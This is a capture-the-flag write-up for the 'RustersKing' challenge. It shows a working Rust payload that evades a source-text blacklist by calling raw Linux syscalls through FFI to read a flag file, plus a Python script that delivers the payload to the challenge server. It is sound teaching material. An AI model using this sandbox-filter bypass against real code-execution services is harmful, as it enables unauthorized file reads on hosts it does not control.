366 words
2 minutes
CodeVinci CTF 2026 - RustersKing - Miscellaneous Writeup

Category: Miscellaneous Flag: CodeVinci{5y5c4lL_7h3_m00n_0r_Ju57_cRu88y_Pa77i3s}

Challenge Description#

f*ck Burg3rKin6, they don’t use Rust.

Analysis#

The zip immediately showed this was a source-available remote runner: a Python server, a Rust validator, and a fake local flag file. That matters because this kind of challenge is usually won by understanding the validator’s blind spots instead of brute forcing anything.

unzip -l ~/Downloads/rustersking.zip
Archive:  /home/rei/Downloads/rustersking.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     3926  01-28-2026 02:00   rustersking/server.py
     2545  01-28-2026 02:00   rustersking/validator/src/main.rs
       24  02-03-2026 21:44   rustersking/flag.txt
---------                     -------

Reading the validator source made the core bug obvious: it performs case-sensitive substring checks for blocked tokens like std, open, read, write, flag, File, libc, and others. So if those exact substrings never appear in source text, the code passes. A direct C FFI path with symbol names that are not blacklisted is enough to get execution, and that elegant bypass landed quickly.

smug

I first tried leaking the flag through environment access (getenv("FLAG")) and printing it. That execution worked but returned NOT_SET, which proved code execution on the remote service but also confirmed the real flag was not available in that environment variable on the target.

tableflip

The pivot was to bypass both blacklist words and stdlib entirely: call Linux syscalls through an FFI syscall declaration, build /flag.txt from ASCII byte values, then openat + read + write the file contents. The local validator accepted this payload exactly as expected.

cargo run --quiet --manifest-path validator/Cargo.toml -- payload2.rs
Welcome to the kitchen!

Then I sent the base64-encoded Rust payload to the remote service with a small Python script and captured stdout.

python send_payload.py
Validating your code...
Welcome to the kitchen!

Compiling and running your recipe...
--- STDOUT ---
CodeVinci{5y5c4lL_7h3_m00n_0r_Ju57_cRu88y_Pa77i3s}

Solution#

// payload2.rs
extern "C" { fn syscall(n: i64, ...) -> i64; }

fn main(){
    unsafe {
        let p:[i8;10]=[47,102,108,97,103,46,116,120,116,0];
        let d = syscall(257, -100_i64, p.as_ptr(), 0_i64, 0_i64);
        if d >= 0 {
            let mut b=[0_u8;256];
            let n = syscall(0, d, b.as_mut_ptr(), 256_i64);
            if n > 0 {
                let _ = syscall(1, 1_i64, b.as_ptr(), n);
            }
        }
    }
}
# send_payload.py
import base64
import pathlib
import socket

code = pathlib.Path('payload2.rs').read_text()
data = base64.b64encode(code.encode()) + b'\n'

s = socket.create_connection(('rustersking.codevinci.it', 9964), timeout=10)
s.sendall(data)

out = b''
s.settimeout(3)
try:
    while True:
        chunk = s.recv(4096)
        if not chunk:
            break
        out += chunk
except Exception:
    pass

print(out.decode('utf-8', 'ignore'))
python send_payload.py
CodeVinci{5y5c4lL_7h3_m00n_0r_Ju57_cRu88y_Pa77i3s}
CodeVinci CTF 2026 - RustersKing - Miscellaneous Writeup
https://blog.rei.my.id/posts/85/codevinci-ctf-2026-rustersking-miscellaneous-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0